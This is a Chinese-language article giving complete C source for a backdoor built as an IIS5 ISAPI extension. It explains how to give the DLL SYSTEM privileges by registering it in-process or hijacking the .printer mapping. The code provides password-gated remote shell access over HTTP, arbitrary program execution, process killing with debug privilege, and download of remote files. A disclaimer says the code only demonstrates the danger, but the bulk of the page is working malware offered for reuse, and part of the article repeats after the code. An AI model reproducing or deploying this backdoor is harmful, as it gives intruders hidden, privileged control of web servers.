IIS5 ISAPI Extension Back Door
更新時間：2007年01月16日 00:00:00 作者：
一.前言
二.申明
三.實(shí)現(xiàn)
四.參考
一.前言
最近的sql injection攻擊很流行，一般的解決方法是使用通用的防注入函數(shù)來保護(hù)程序不受威脅。但是有寫些序作者經(jīng)常忘記包含通用函數(shù)，導(dǎo)致沒有效果。前些日子研究徹底防止SQL Injection攻擊時，看了些IIS5的ISAPI Filter文檔，決定利用IIS提供的API接口做個東西，這樣可以很好的防止sql injection攻擊。
湊巧發(fā)現(xiàn)，這樣依附在IIS上面的擴(kuò)展模塊，還可以作為別的用處，比如作為一個后門程序。這樣進(jìn)程的隱藏，端口的隱藏，服務(wù)的隱藏問題都不需要解決，由IIS包辦了。作為后門，為了隱蔽性，我選擇了ISAPI Extension接口。前后大約一個多星期，做出了一個這樣的東西，還不知道叫什么名字好。
二.申明
1.代碼里面有些特殊字符，因?yàn)槲彝洸涣怂堊约盒薷摹?
2.代碼可以隨意轉(zhuǎn)載，但是請保證文檔完整，并不得用于商業(yè)用途。
3.代碼可以隨意修改，但是如果能夠給我一份，將不勝感激。
4.代碼我只是演示這種后門的危害，用做任何用途均與我無關(guān)。
三.實(shí)現(xiàn)
1.解析
鑒于隱蔽性，我沒有選擇ISAPI Filter，而是選擇了ISAPI Extension方式。ISAPI Extension是IIS的功能擴(kuò)展模塊，它能獨(dú)立支持某一項(xiàng)特殊的HTTP請求，系統(tǒng)默認(rèn)支持的asp腳本由%SystemRoot%\system32\inetsrv\inetsrv\asp.dll解析。自己實(shí)現(xiàn)一個動態(tài)連接庫，就可以實(shí)現(xiàn)自己特殊的功能，例如php就是利用自己帶的dll文件來解析php文件的。IIS先獲取請求文件的擴(kuò)展名，再根據(jù)配置的應(yīng)用程序映射，交由特定的dll處理。
2.權(quán)限
IIS5的配置都保存在%SystemRoot%\system32\inetsrv\MetaBase.bin文件中，它有兩個主鍵：LM和Schema。LM主鍵下面有W3SVC/InProcessIsapiApps鍵，這是一個數(shù)組，里面包含的是一組指向一些ISAPI的路徑。在這個數(shù)組里面的ISAPI運(yùn)行的時候都是由inetinfo.exe直接啟動的，繼承inetinfo.exe的local system權(quán)限；而不在其中的ISAPI則是由svchost.exe派生的dllhost.exe進(jìn)程啟動的，運(yùn)行的身份是IWAM_NAME，權(quán)限極低。這里，我們可以使用iis的腳本adsutil.vbs將我們的dll加到數(shù)組當(dāng)中，命令為adsutil.vbs set w3svc/inprocessisapiapps Dll Path。更好的辦法是替換掉printer擴(kuò)展的映射，此映射由%systemroot%\msw3prt.dll來解析，而且這個dll文件默認(rèn)存在于W3SVC/InProcessIsapiApps鍵中。這也就是2000年.printer溢出得到system權(quán) 限的原因。
3.導(dǎo)出
根據(jù)MSDN描述，ISAPI Extension需要導(dǎo)出三個函數(shù)，GetExtensionVersion，TerminateExtension以及HttpExtensionProc
4.功能
首先，密碼功能肯定是需要的，這里我將標(biāo)準(zhǔn)的HTTP協(xié)議擴(kuò)充出一個Icy方法，如果客戶端使用此方法請求注冊的映射，則認(rèn)證成功，否則不予理睬。這里，你也可以修改代碼，使用HTTP協(xié)議的其他部分做認(rèn)證，比如Accept字段。
其次，后門主要是獲取一個shell，但是某些服務(wù)器可能設(shè)置了禁止system訪問cmd，因此，我還提供了下載功能，這樣可以下載一個cmd，然后通過shell CustomerCmd運(yùn)行，得到shell執(zhí)行命令。最后就是列舉進(jìn)程和查殺進(jìn)程了。
在虛擬機(jī)上測試，我注冊了擴(kuò)展名為yunshu交由此dll解析。使用nc連接，發(fā)送自己擴(kuò)展的http協(xié)議，屏幕copy如下：
C:\>nc -vv 192.168.10.250 80
Warning: forward host lookup failed for Icy.missyou.com: h_errno 11004:NO_DATA
Icy.missyou.com [192.168.10.250] 80 (http) open: unknown socket error
Icy /test.yunshu HTTP/1.0
HOST: 192.168.10.250
Can you tell me how to forget some one?
Code by 云舒
Our team:www.ph4nt0m.org
Icy>help
Now,Support these command:
pslist--------------List Process Information
kill PID------------Kill The Process
exec Program--------Run A Program
shell ShellPath-----Get A System Shell,Normal shell cmd.exe
down URL------------DownLoad A File
exit----------------Exit
Icy>
5.代碼
// ISAPI EXTENSION BACK DOOR
// Code by 云舒
// Thx EnvyMask
// 修改2005-08-14凌晨
// 最后2005-08-16
// Compiled On: Windows Server2003,VC++ 6.0
#include <stdio.h>
#include <string.h>
#include <windows.h>
#include <tlhelp32.h>
#include <httpext.h>
#include <UrlMon.h>
#pragma comment(lib, "urlmon.lib")
#define DEBUG
#define LOGPATH "c:\\ISAPI_LOG.txt"
//后門密碼
#define PASSWORD "Icy"
//標(biāo)識符
#define FLAG "Icy>"
//緩沖區(qū)大小
#define BUFFSIZE 1024 * 4
#define ARGSIZE 1024
typedef struct workArg
{
EXTENSION_CONTROL_BLOCK *pECB;
char arg[ARGSIZE];
}WORKARG;
//定義函數(shù)原形
BOOL StartWith( char * , char * ); //判斷第一個字符串是否以第二個字符串開頭
void SwitchCmd( EXTENSION_CONTROL_BLOCK * , char * ); //根據(jù)輸入的命令來選擇執(zhí)行的功能
void PsList( EXTENSION_CONTROL_BLOCK * ); //列舉進(jìn)程
void Kill( LPVOID ); //殺進(jìn)程
void Shell( LPVOID ); //獲取一個shell
void ExecProgram( LPVOID ); //運(yùn)行一個程序
void Help( EXTENSION_CONTROL_BLOCK * ); //輸出幫助
void DownLoad( LPVOID ); //下載文件
BOOL SendToClient( EXTENSION_CONTROL_BLOCK * , char * ); //發(fā)送數(shù)據(jù)到客戶端
void LogStrToFile( char * ); //記錄字符錯誤信息到日志
void LogIntToFile( int ); //記錄整數(shù)信息到日志
//DLL入口
BOOL APIENTRY DllMain( HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved )
{
return TRUE;
}
//版本信息
BOOL WINAPI GetExtensionVersion(HSE_VERSION_INFO *pVer)
{
pVer->dwExtensionVersion = MAKELONG(HSE_VERSION_MINOR,HSE_VERSION_MAJOR);
strcpy( pVer->lpszExtensionDesc, "What_Can_I_Do?" );
return TRUE;
}
BOOL WINAPI TerminateExtension( DWORD dwFlags )
{
return TRUE;
}
DWORD WINAPI HttpExtensionProc(EXTENSION_CONTROL_BLOCK * pECB)
{
char buff[BUFFSIZE] = { 0 };
char *err = "Error...\n";
char *helo = "Can you tell me how to forget some one?\nCode by 云舒\nOur team:www.ph4nt0m.org\n\n";
DWORD dwBytes = 64;
//獲取客戶端密碼，連接到web服務(wù)器，發(fā)送請求,請求方式為密碼
pECB->GetServerVariable( pECB->ConnID , "REQUEST_METHOD" , buff , &dwBytes );
if ( strncmp( buff , PASSWORD , strlen(PASSWORD) ) != 0 )
{
SendToClient( pECB , err );
return HSE_STATUS_SUCCESS;
}
#ifdef DEBUG
LogStrToFile( "-------------------------------\n" );
LogStrToFile( "客戶端成功登陸\n" );
#endif
SendToClient( pECB , helo );
SendToClient( pECB , FLAG );
while(TRUE)
{
ZeroMemory( buff , BUFFSIZE );
dwBytes = BUFFSIZE;
while( buff[0] == ’\0’ )//判斷是否是空串
{
Sleep(1000);
pECB->ReadClient( pECB->ConnID , buff , &dwBytes );
}
if( strcmp( buff , "exit\n" ) == 0 )
{
SendToClient( pECB , "ByeBye...\n" );
break;
}
SwitchCmd( pECB , buff );
}
return HSE_STATUS_SUCCESS;
}
void SwitchCmd( EXTENSION_CONTROL_BLOCK *pECB , char *buff )
{
WORKARG workArg;
HANDLE hThread = NULL;
DWORD threadID = 0;
//SendToClient( pECB , "客戶端命令: " );
//SendToClient( pECB , buff );
#ifdef DEBUG
LogStrToFile( "客戶端命令: " );
LogStrToFile( buff );
#endif
//去掉命令里面的回車符
*(strchr( buff , ’\n’ )) = ’\0’;
//參數(shù)不能超過ARGSIZE
if( strlen( buff+5 ) >= ARGSIZE )
{
SendToClient( pECB , "Arguments is too long...\n" );
SendToClient( pECB , FLAG );
return;
}
//將要傳遞給新線程的參數(shù)清空
ZeroMemory( workArg.arg , sizeof(workArg.arg) );
//如果是pslist命令，列舉進(jìn)程
if( StartWith(buff , "pslist") )
{
hThread = CreateThread( NULL ,
0 ,
(LPTHREAD_START_ROUTINE)PsList ,
(LPVOID)pECB ,
0 ,
&threadID );
if( hThread == NULL )
{
#ifdef DEBUG
LogStrToFile( "創(chuàng)建線程列舉進(jìn)程失敗,錯誤碼: " );
LogIntToFile( GetLastError( ) );
LogStrToFile( "\n" );
#endif
SendToClient( pECB , "List process error...\n" );
SendToClient( pECB , FLAG );
return;
}
WaitForSingleObject( hThread , 6000 );
CloseHandle( hThread );
SendToClient( pECB , FLAG );
return;
}
//kill命令，殺進(jìn)程
else if( StartWith(buff , "kill") )
{
//如果沒有參數(shù)
if( *( buff+5 ) == ’\0’ )
{
SendToClient( pECB , "Usage:kill pid\n" );
SendToClient( pECB , FLAG );
return;
}
workArg.pECB = pECB;
strcpy( workArg.arg , buff+5 );
hThread = CreateThread( NULL ,
0 ,
(LPTHREAD_START_ROUTINE)Kill ,
(LPVOID)&workArg ,
0 ,
&threadID );
if( hThread == NULL )
{
#ifdef DEBUG
LogStrToFile( "創(chuàng)建線程殺進(jìn)程失敗,錯誤碼: " );
LogIntToFile( GetLastError( ) );
LogStrToFile( "\n" );
#endif
SendToClient( pECB , "Kill process error...\n" );
SendToClient( pECB , FLAG );
return;
}
WaitForSingleObject( hThread , 5000 );
CloseHandle( hThread );
SendToClient( pECB , FLAG );
return;
}
//shell命令，運(yùn)行一個cmd獲取shell，為防止主機(jī)設(shè)置權(quán)限，需指明cmd路徑
else if( StartWith(buff , "shell") )
{
//如果沒有參數(shù)
if( *( buff+6 ) == ’\0’ )
{
SendToClient( pECB , "Usage:shell ShellPath\n" );
SendToClient( pECB , FLAG );
return;
}
workArg.pECB = pECB;
strcpy( workArg.arg , buff+6 );
hThread = CreateThread( NULL ,
0 ,
(LPTHREAD_START_ROUTINE)Shell ,
(LPVOID)&workArg ,
0 ,
&threadID );
if( hThread == NULL )
{
#ifdef DEBUG
LogStrToFile( "創(chuàng)建線程執(zhí)行shell失敗,錯誤碼: " );
LogIntToFile( GetLastError( ) );
LogStrToFile( "\n" );
#endif
SendToClient( pECB , "Get shell error...\n" );
SendToClient( pECB , FLAG );
return;
}
WaitForSingleObject( hThread , INFINITE );
CloseHandle( hThread );
return;
}
else if( StartWith(buff , "exec") )
{
//如果沒有參數(shù)
if( *( buff+5 ) == ’\0’ )
{
SendToClient( pECB , "Usage:shell ShellPath\n" );
SendToClient( pECB , FLAG );
return;
}
workArg.pECB = pECB;
strcpy( workArg.arg , buff+5 );
hThread = CreateThread( NULL ,
0 ,
(LPTHREAD_START_ROUTINE)ExecProgram ,
(LPVOID)&workArg ,
0 ,
&threadID );
if( hThread == NULL )
{
#ifdef DEBUG
LogStrToFile( "創(chuàng)建線程運(yùn)行程序失敗,錯誤碼: " );
LogIntToFile( GetLastError( ) );
LogStrToFile( "\n" );
#endif
SendToClient( pECB , "Execute program error...\n" );
SendToClient( pECB , FLAG );
return;
}
WaitForSingleObject( hThread , 10000 );
CloseHandle( hThread );
return;
}
//down命令，利用http協(xié)議下載文件
else if( StartWith(buff , "down") )
{
//如果沒有參數(shù)
if( *( buff+5 ) == ’\0’ )
{
SendToClient( pECB , "Usage:down http://www.example.com/test.exe\n" );
SendToClient( pECB , FLAG );
return;
}
workArg.pECB = pECB;
strcpy( workArg.arg , buff+5 );
hThread = CreateThread( NULL ,
0 ,
(LPTHREAD_START_ROUTINE)DownLoad ,
(LPVOID)&workArg ,
0 ,
&threadID );
if( hThread == NULL )
{
#ifdef DEBUG
LogStrToFile( "創(chuàng)建線程下載文件失敗,錯誤碼: " );
LogIntToFile( GetLastError( ) );
LogStrToFile( "\n" );
#endif
SendToClient( pECB , "Download file error...\n" );
SendToClient( pECB , FLAG );
return;
}
WaitForSingleObject( hThread , INFINITE );
CloseHandle( hThread );
SendToClient( pECB , FLAG );
return;
}
//命令不正確，輸出幫助
else
{
hThread = CreateThread( NULL ,
0 ,
(LPTHREAD_START_ROUTINE)Help ,
(LPVOID)pECB ,
0 ,
&threadID );
if( hThread == NULL )
{
#ifdef DEBUG
LogStrToFile( "創(chuàng)建線程輸出幫助信息失敗,錯誤碼: " );
LogIntToFile( GetLastError( ) );
LogStrToFile( "\n" );
#endif
SendToClient( pECB , "Print help error...\n" );
SendToClient( pECB , FLAG );
return;
}
WaitForSingleObject( hThread , 5000 );
CloseHandle( hThread );
SendToClient( pECB , FLAG );
return;
}
}
//判斷字符串buf1是否以buf2開頭，是返回真
BOOL StartWith( char *buf1, char *buf2 )
{
int len = strlen(buf2);
if( memcmp( buf1,buf2,len) == 0)
{
return TRUE;
}
return FALSE;
}
//運(yùn)行shell
void Shell( LPVOID arg )
{
WORKARG *workArg = (WORKARG *)arg;
SECURITY_ATTRIBUTES sa;
HANDLE hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;
STARTUPINFO si;
PROCESS_INFORMATION procInfo;
char cmdLine[ARGSIZE] = { 0 };
char buff[BUFFSIZE] = { 0 };
int ret = 0;
unsigned long dwBytes = 0;
int index = 0;
EXTENSION_CONTROL_BLOCK *pECB = workArg->pECB;
strcpy( cmdLine , workArg->arg );
if( cmdLine[0] == ’\0’ )
{
#ifdef DEBUG
LogStrToFile( "執(zhí)行shell時，沒有要輸入要運(yùn)行的shell路徑\n" );
#endif
SendToClient( pECB , "No shell to run...\n" );
SendToClient( pECB , FLAG );
return;
}
#ifdef DEBUG
LogStrToFile( "要運(yùn)行的程序: " );
LogStrToFile( workArg->arg );
LogStrToFile( "\n" );
#endif
//安全選項(xiàng)
sa.nLength = sizeof( sa );
sa.lpSecurityDescriptor = 0;
sa.bInheritHandle = TRUE;
//初始化管道
if( !CreatePipe(&hReadPipe1,&hWritePipe1,&sa,0) )
{
#ifdef DEBUG
LogStrToFile( "建立管道失敗: " );
LogIntToFile( GetLastError() );
LogStrToFile( "\n" );
#endif
SendToClient( pECB , "Create pipi error...\n" );
SendToClient( pECB , FLAG );
return;
}
if( !CreatePipe(&hReadPipe2,&hWritePipe2,&sa,0) )
{
#ifdef DEBUG
LogStrToFile( "建立管道失敗: " );
LogIntToFile( GetLastError() );
LogStrToFile( "\n" );
#endif
SendToClient( pECB , "Create pipi error...\n" );
SendToClient( pECB , FLAG );
return;
}
ZeroMemory( &si , sizeof(STARTUPINFO) );
GetStartupInfo( &si );
si.cb = sizeof( si );
si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
si.wShowWindow = SW_HIDE;
si.hStdInput = hReadPipe2;
si.hStdOutput = si.hStdError = hWritePipe1;
ZeroMemory( &procInfo , sizeof(PROCESS_INFORMATION) );
ret = CreateProcess( NULL , cmdLine , NULL , NULL , 1 , 0 , NULL , NULL , &si , &procInfo );
if( !ret )
{
#ifdef DEBUG
LogStrToFile( "建立進(jìn)程失敗...\n" );
LogIntToFile( GetLastError() );
#endif
SendToClient( pECB , "Create process error...\n" );
SendToClient( pECB , FLAG );
return;
}
while(1)
{
memset( buff , 0 , BUFFSIZE );
ret=PeekNamedPipe( hReadPipe1 , buff , BUFFSIZE , &dwBytes , NULL , NULL );
//嘗試5次讀取管道，防止延遲發(fā)生錯誤
for( index = 0; index < 5 && dwBytes == 0; index ++ )
{
Sleep(100);
ret = PeekNamedPipe(hReadPipe1,buff,BUFFSIZE,&dwBytes,NULL,NULL);
}
//獲取輸出信息，輸出到客戶端
if(dwBytes)
{
ret = ReadFile( hReadPipe1,buff,dwBytes,&dwBytes,0 );
if( !ret )
{
#ifdef DEBUG
LogStrToFile( "讀取輸出失敗: " );
LogIntToFile( GetLastError() );
LogStrToFile( "\n" );
#endif
break;
}
#ifdef DEBUG
LogStrToFile( buff );
#endif
ret = SendToClient( pECB , buff );
if( ret<=0 )
{
#ifdef DEBUG
LogStrToFile( "發(fā)送輸出失敗:" );
LogIntToFile( GetLastError() );
LogStrToFile( "\n" );
#endif
break;
}
}
//從客戶端獲取命令
else
{
//客戶端無輸入則循環(huán)讀取
while( buff[0] == ’\0’ )
{
Sleep(100);
dwBytes = BUFFSIZE;
pECB->ReadClient( pECB->ConnID , buff , &dwBytes );
}
#ifdef DEBUG
LogStrToFile( "讀到客戶命令了，內(nèi)容是: " );
LogStrToFile( buff );
#endif
//如果是exit命令，退出連接
if( strcmp( buff , "exit\n" ) == 0 )
{
SendToClient( pECB , "ByeBye~!\n" );
break;
}
ret = WriteFile( hWritePipe2 , buff , dwBytes , &dwBytes , 0 );
if( !ret )
{
#ifdef DEBUG
LogStrToFile( "把命令發(fā)送到shell失敗\n" );
LogIntToFile( GetLastError() );
LogStrToFile( "\n" );
#endif
break;
}
}
}
CloseHandle(hReadPipe1);
CloseHandle(hReadPipe2);
CloseHandle(hWritePipe1);
CloseHandle(hWritePipe2);
TerminateProcess( procInfo.hProcess , 0 );
return;
}
//運(yùn)行一個程序
void ExecProgram( LPVOID arg )
{
WORKARG *workArg = (WORKARG *)arg;
SECURITY_ATTRIBUTES sa;
HANDLE hReadPipe1 = NULL;
HANDLE hWritePipe1 = NULL;
STARTUPINFO si;
PROCESS_INFORMATION procInfo;
char cmdLine[ARGSIZE] = { 0 };
char buff[BUFFSIZE] = { 0 };
int ret = 0;
unsigned long dwBytes = 0;
EXTENSION_CONTROL_BLOCK *pECB = workArg->pECB;
strcpy( cmdLine , workArg->arg );
if( cmdLine[0] == ’\0’ )
{
#ifdef DEBUG
LogStrToFile( "執(zhí)行程序時，沒有要輸入要運(yùn)行的程序\n" );
#endif
SendToClient( pECB , "No program to run...\n" );
SendToClient( pECB , FLAG );
return;
}
#ifdef DEBUG
LogStrToFile( "要運(yùn)行的程序: " );
LogStrToFile( workArg->arg );
LogStrToFile( "\n" );
#endif
//安全選項(xiàng)
sa.nLength = sizeof( sa );
sa.lpSecurityDescriptor = 0;
sa.bInheritHandle = TRUE;
//初始化管道
if( !CreatePipe(&hReadPipe1,&hWritePipe1,&sa,0) )
{
#ifdef DEBUG
LogStrToFile( "建立管道失敗: " );
LogIntToFile( GetLastError() );
LogStrToFile( "\n" );
#endif
SendToClient( pECB , "Create pipi error...\n" );
SendToClient( pECB , FLAG );
return;
}
ZeroMemory( &si , sizeof(STARTUPINFO) );
GetStartupInfo( &si );
si.cb = sizeof( si );
si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
si.wShowWindow = SW_HIDE;
si.hStdOutput = si.hStdError = hWritePipe1;
ZeroMemory( &procInfo , sizeof(PROCESS_INFORMATION) );
ret = CreateProcess( NULL , cmdLine , NULL , NULL , 1 , 0 , NULL , NULL , &si , &procInfo );
if( !ret )
{
#ifdef DEBUG
LogStrToFile( "建立進(jìn)程失敗...\n" );
LogIntToFile( GetLastError() );
#endif
SendToClient( pECB , "Create process error...\n" );
SendToClient( pECB , FLAG );
return;
}
memset( buff , 0 , BUFFSIZE );
//讀取程序輸出
while( dwBytes == 0 )
{
Sleep(200);
ret = PeekNamedPipe(hReadPipe1,buff,BUFFSIZE,&dwBytes,NULL,NULL);
}
ret = ReadFile( hReadPipe1,buff,dwBytes,&dwBytes,0 );
if( !ret )
{
#ifdef DEBUG
LogStrToFile( "讀取輸出失敗: " );
&n, bsp; LogIntToFile( GetLastError() );
LogStrToFile( "\n" );
#endif
}
#ifdef DEBUG
LogStrToFile( buff );
#endif
ret = SendToClient( pECB , buff );
if( ret<=0 )
{
#ifdef DEBUG
LogStrToFile( "發(fā)送輸出失敗:" );
LogIntToFile( GetLastError() );
LogStrToFile( "\n" );
#endif
}
CloseHandle(hReadPipe1);
CloseHandle(hWritePipe1);
TerminateProcess( procInfo.hProcess , 0 );
return;
}
void PsList( EXTENSION_CONTROL_BLOCK *pECB )
{
HANDLE hProcessSnap = NULL;
HANDLE hProcess = NULL;
PROCESSENTRY32 pe32;
char psBuff[BUFFSIZE] = { 0 };
SendToClient( pECB , "Process Information List 0.1\n\n" );
/*
SendToClient( pECB , "Code by 云舒(wustyunshu@hotmail.com)\n" );
SendToClient( pECB , "www.ph4nt0m.org www.icylife.net\n" );
*/
hProcessSnap = CreateToolhelp32Snapshot( TH32CS_SNAPPROCESS, 0 );
if( hProcessSnap == INVALID_HANDLE_VALUE )
{
#ifdef DEBUG
LogStrToFile( "Call CreateToolhelp32Snapshot error" );
LogIntToFile( GetLastError() );
#endif
SendToClient( pECB , "List process information error...\n" );
return;
}
pe32.dwSize = sizeof( PROCESSENTRY32 );
if( !Process32First( hProcessSnap, &pe32 ) )
{
#ifdef DEBUG
LogStrToFile( "Call Process32First error" );
LogIntToFile( GetLastError() );
#endif
SendToClient( pECB , "List process information error...\n" );
SendToClient( pECB , FLAG );
CloseHandle( hProcessSnap );
return;
}
SendToClient( pECB , "PID\t\tProcessName\n" );
do
{
ZeroMemory( psBuff , sizeof(psBuff) );
sprintf( psBuff , "%d\t\t%s\n", pe32.th32ProcessID , pe32.szExeFile );
SendToClient( pECB , psBuff );
}
while( Process32Next( hProcessSnap, &pe32 ) );
return;
}
void Kill( LPVOID arg )
{
WORKARG *workArg = (WORKARG *)arg;
HANDLE hProcess = NULL;
DWORD pID;
EXTENSION_CONTROL_BLOCK *pECB = workArg->pECB;
HANDLE hToken;
LUID sedebugnameValue;
TOKEN_PRIVILEGES tkp;
pID = atoi( workArg->arg );
if ( !OpenProcessToken( GetCurrentProcess() , TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY , &hToken ) )
{
#ifdef DEBUG
LogStrToFile( "Call OpenProcessToken error" );
LogIntToFile( GetLastError() );
#endif
SendToClient( pECB , "Kill process error...\n" );
return;
}
if ( !LookupPrivilegeValue( NULL, SE_DEBUG_NAME, &sedebugnameValue ) )
{
#ifdef DEBUG
LogStrToFile( "Call LookupPrivilegeValue error" );
LogIntToFile( GetLastError() );
#endif
SendToClient( pECB , "Kill process error...\n" );
return;
}
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Luid = sedebugnameValue;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges( hToken, FALSE, &tkp, sizeof(tkp), NULL, NULL );
CloseHandle( hToken );
hProcess = OpenProcess( PROCESS_TERMINATE , FALSE , pID );
if( hProcess ==INVALID_HANDLE_VALUE || hProcess == NULL )
{
#ifdef DEBUG
LogStrToFile( "Call OpenProcess error" );
LogIntToFile( GetLastError() );
#endif
SendToClient( pECB , "Kill process error...\n" );
CloseHandle( hToken );
CloseHandle( hProcess );
return;
}
if ( !TerminateProcess( hProcess, (DWORD) -1 ) )
{
#ifdef DEBUG
LogStrToFile( "Call TerminateProcess error" );
LogIntToFile( GetLastError() );
#endif
SendToClient( pECB , "Kill process error...\n" );
CloseHandle( hToken );
CloseHandle( hProcess );
return;
}
SendToClient( pECB , "killed ok\n" );
CloseHandle( hToken );
CloseHandle( hProcess );
return;
}
void DownLoad( LPVOID arg )
{
WORKARG *workArg = (WORKARG *)arg;
char fileName[64] = { 0 };//保存的文件名
char fullPath[256] = { 0 };//保存的完整地址
char url[ARGSIZE] = { 0 };//下載的URL
char seps[] = "/";//分割字符
char *token;
int ret = 0;
EXTENSION_CONTROL_BLOCK *pECB = workArg->pECB;;
strcpy( url , workArg->arg );
token = strtok( url , seps );
while( token != NULL )
{
strcpy( fileName , token );
token = strtok( NULL , seps );
}
strcpy( url , workArg->arg );
GetCurrentDirectory( sizeof(fullPath) - sizeof(fileName) , fullPath );
strcat( fullPath , "\\" );
strcat( fullPath , fileName );
SendToClient( pECB , "Download " );
SendToClient( pECB , url );
SendToClient( pECB , "\nThe file saved to " );
SendToClient( pECB , fullPath );
ret = URLDownloadToFile( 0 , url , fullPath , 0 , 0 );
if( ret == S_OK )
{
SendToClient( pECB , "\nDownLoad ok\n" );
return;
}
#ifdef DEBUG
LogStrToFile( "Call URLDownloadToFile error" );
LogIntToFile( GetLastError() );
#endif
SendToClient( pECB , "DownLoad file error...\n" );
return;
}
void Help( EXTENSION_CONTROL_BLOCK * pECB)
{
char buff[BUFFSIZE] = "\nNow,Support these command:\n";
strcat( buff , "pslist--------------List Process Information\n" );
strcat( buff , "kill PID------------Kill The Process\n" );
strcat( buff , "exec Program--------Run A Program\n" );
strcat( buff , "shell ShellPath-----Get A System Shell,Normal shell cmd.exe\n" );
strcat( buff , "down URL------------DownLoad A File\n" );
strcat( buff , "exit----------------Exit\n" );
SendToClient( pECB , buff );
return;
}
void LogStrToFile( char *buff )
{
FILE *fp = NULL;
fp = fopen( LOGPATH , "a+" );
if( fp == NULL ) return;
fputs( buff , fp );
fclose( fp );
}
void LogIntToFile( int num )
{
FILE *fp = NULL;
fp = fopen( LOGPATH , "a+" );
if( fp == NULL ) return;
fprintf( fp , "%d" , num );
fclose( fp );
}
BOOL SendToClient( EXTENSION_CONTROL_BLOCK * pECB , char *buff )
{
DWORD dwByte = strlen(buff);
return (pECB->WriteClient( pECB->ConnID , buff , &dwByte , 0 ));
}
四.感謝與參考
1.在獲取shell的時候格式很難看，envymask告訴我是網(wǎng)絡(luò)延遲的原因，得以解決，感謝！
2.參考《綠盟安全月刊》第37期的技術(shù)專題里面的第五章《Exploit Microsoft INTERNET INFORMATION SERVER》，地址為http://www.nsfocus.net/index.php?act=magazine&do=view&mid=1662
3.參考MSDN函數(shù)庫
Our Team: http://www.ph4nt0m.org
Author: 云舒(wustyunshu@hotmail.com)
二.申明
三.實(shí)現(xiàn)
四.參考
一.前言
最近的sql injection攻擊很流行，一般的解決方法是使用通用的防注入函數(shù)來保護(hù)程序不受威脅。但是有寫些序作者經(jīng)常忘記包含通用函數(shù)，導(dǎo)致沒有效果。前些日子研究徹底防止SQL Injection攻擊時，看了些IIS5的ISAPI Filter文檔，決定利用IIS提供的API接口做個東西，這樣可以很好的防止sql injection攻擊。
湊巧發(fā)現(xiàn)，這樣依附在IIS上面的擴(kuò)展模塊，還可以作為別的用處，比如作為一個后門程序。這樣進(jìn)程的隱藏，端口的隱藏，服務(wù)的隱藏問題都不需要解決，由IIS包辦了。作為后門，為了隱蔽性，我選擇了ISAPI Extension接口。前后大約一個多星期，做出了一個這樣的東西，還不知道叫什么名字好。
二.申明
1.代碼里面有些特殊字符，因?yàn)槲彝洸涣怂堊约盒薷摹?
2.代碼可以隨意轉(zhuǎn)載，但是請保證文檔完整，并不得用于商業(yè)用途。
3.代碼可以隨意修改，但是如果能夠給我一份，將不勝感激。
4.代碼我只是演示這種后門的危害，用做任何用途均與我無關(guān)。
三.實(shí)現(xiàn)
1.解析
鑒于隱蔽性，我沒有選擇ISAPI Filter，而是選擇了ISAPI Extension方式。ISAPI Extension是IIS的功能擴(kuò)展模塊，它能獨(dú)立支持某一項(xiàng)特殊的HTTP請求，系統(tǒng)默認(rèn)支持的asp腳本由%SystemRoot%\system32\inetsrv\inetsrv\asp.dll解析。自己實(shí)現(xiàn)一個動態(tài)連接庫，就可以實(shí)現(xiàn)自己特殊的功能，例如php就是利用自己帶的dll文件來解析php文件的。IIS先獲取請求文件的擴(kuò)展名，再根據(jù)配置的應(yīng)用程序映射，交由特定的dll處理。
2.權(quán)限
IIS5的配置都保存在%SystemRoot%\system32\inetsrv\MetaBase.bin文件中，它有兩個主鍵：LM和Schema。LM主鍵下面有W3SVC/InProcessIsapiApps鍵，這是一個數(shù)組，里面包含的是一組指向一些ISAPI的路徑。在這個數(shù)組里面的ISAPI運(yùn)行的時候都是由inetinfo.exe直接啟動的，繼承inetinfo.exe的local system權(quán)限；而不在其中的ISAPI則是由svchost.exe派生的dllhost.exe進(jìn)程啟動的，運(yùn)行的身份是IWAM_NAME，權(quán)限極低。這里，我們可以使用iis的腳本adsutil.vbs將我們的dll加到數(shù)組當(dāng)中，命令為adsutil.vbs set w3svc/inprocessisapiapps Dll Path。更好的辦法是替換掉printer擴(kuò)展的映射，此映射由%systemroot%\msw3prt.dll來解析，而且這個dll文件默認(rèn)存在于W3SVC/InProcessIsapiApps鍵中。這也就是2000年.printer溢出得到system權(quán) 限的原因。
3.導(dǎo)出
根據(jù)MSDN描述，ISAPI Extension需要導(dǎo)出三個函數(shù)，GetExtensionVersion，TerminateExtension以及HttpExtensionProc
4.功能
首先，密碼功能肯定是需要的，這里我將標(biāo)準(zhǔn)的HTTP協(xié)議擴(kuò)充出一個Icy方法，如果客戶端使用此方法請求注冊的映射，則認(rèn)證成功，否則不予理睬。這里，你也可以修改代碼，使用HTTP協(xié)議的其他部分做認(rèn)證，比如Accept字段。
其次，后門主要是獲取一個shell，但是某些服務(wù)器可能設(shè)置了禁止system訪問cmd，因此，我還提供了下載功能，這樣可以下載一個cmd，然后通過shell CustomerCmd運(yùn)行，得到shell執(zhí)行命令。最后就是列舉進(jìn)程和查殺進(jìn)程了。
在虛擬機(jī)上測試，我注冊了擴(kuò)展名為yunshu交由此dll解析。使用nc連接，發(fā)送自己擴(kuò)展的http協(xié)議，屏幕copy如下：
C:\>nc -vv 192.168.10.250 80
Warning: forward host lookup failed for Icy.missyou.com: h_errno 11004:NO_DATA
Icy.missyou.com [192.168.10.250] 80 (http) open: unknown socket error
Icy /test.yunshu HTTP/1.0
HOST: 192.168.10.250
Can you tell me how to forget some one?
Code by 云舒
Our team:www.ph4nt0m.org
Icy>help
Now,Support these command:
pslist--------------List Process Information
kill PID------------Kill The Process
exec Program--------Run A Program
shell ShellPath-----Get A System Shell,Normal shell cmd.exe
down URL------------DownLoad A File
exit----------------Exit
Icy>
5.代碼
// ISAPI EXTENSION BACK DOOR
// Code by 云舒
// Thx EnvyMask
// 修改2005-08-14凌晨
// 最后2005-08-16
// Compiled On: Windows Server2003,VC++ 6.0
#include <stdio.h>
#include <string.h>
#include <windows.h>
#include <tlhelp32.h>
#include <httpext.h>
#include <UrlMon.h>
#pragma comment(lib, "urlmon.lib")
#define DEBUG
